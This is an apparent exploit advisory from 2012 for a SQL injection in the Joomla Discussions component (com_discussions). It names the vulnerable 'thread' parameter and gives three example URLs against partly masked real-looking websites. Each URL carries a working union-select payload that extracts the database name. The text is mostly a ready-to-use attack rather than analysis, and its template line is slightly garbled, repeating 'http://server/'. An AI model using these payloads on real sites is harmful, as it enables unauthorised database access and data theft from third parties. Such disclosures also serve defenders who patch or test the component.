#
# Title : Joomla Discussions Component (com_discussions) SQL Injection Vulnerability
# Author : Red Security TEAM
# Date : 17/01/2012
# Risk : High
# Software : http://extensions.joomla.org/extensions/communication/forum/13560
# Tested On : CentOS
# Contact : Info [ 4t ] RedSecurity [ d0t ] COM
# Home : http://RedSecurity.COM
#
# Exploit :
# http://server/http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=[SQLi]
#
# Example :
#
http://gXXXXa3d.com/index.php?option=com_discussions&view=thread&catid=2&thread=99999.9' union all select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)--+a
http://joinXXXXXrail.com/index.php?option=com_discussions&view=thread&catid=4&thread=1' union all select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)--+a
http://www.thXXXXXsafetynetwork.co.za/index.php?option=com_discussions&view=thread&catid=4&thread=1' union all select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)--+a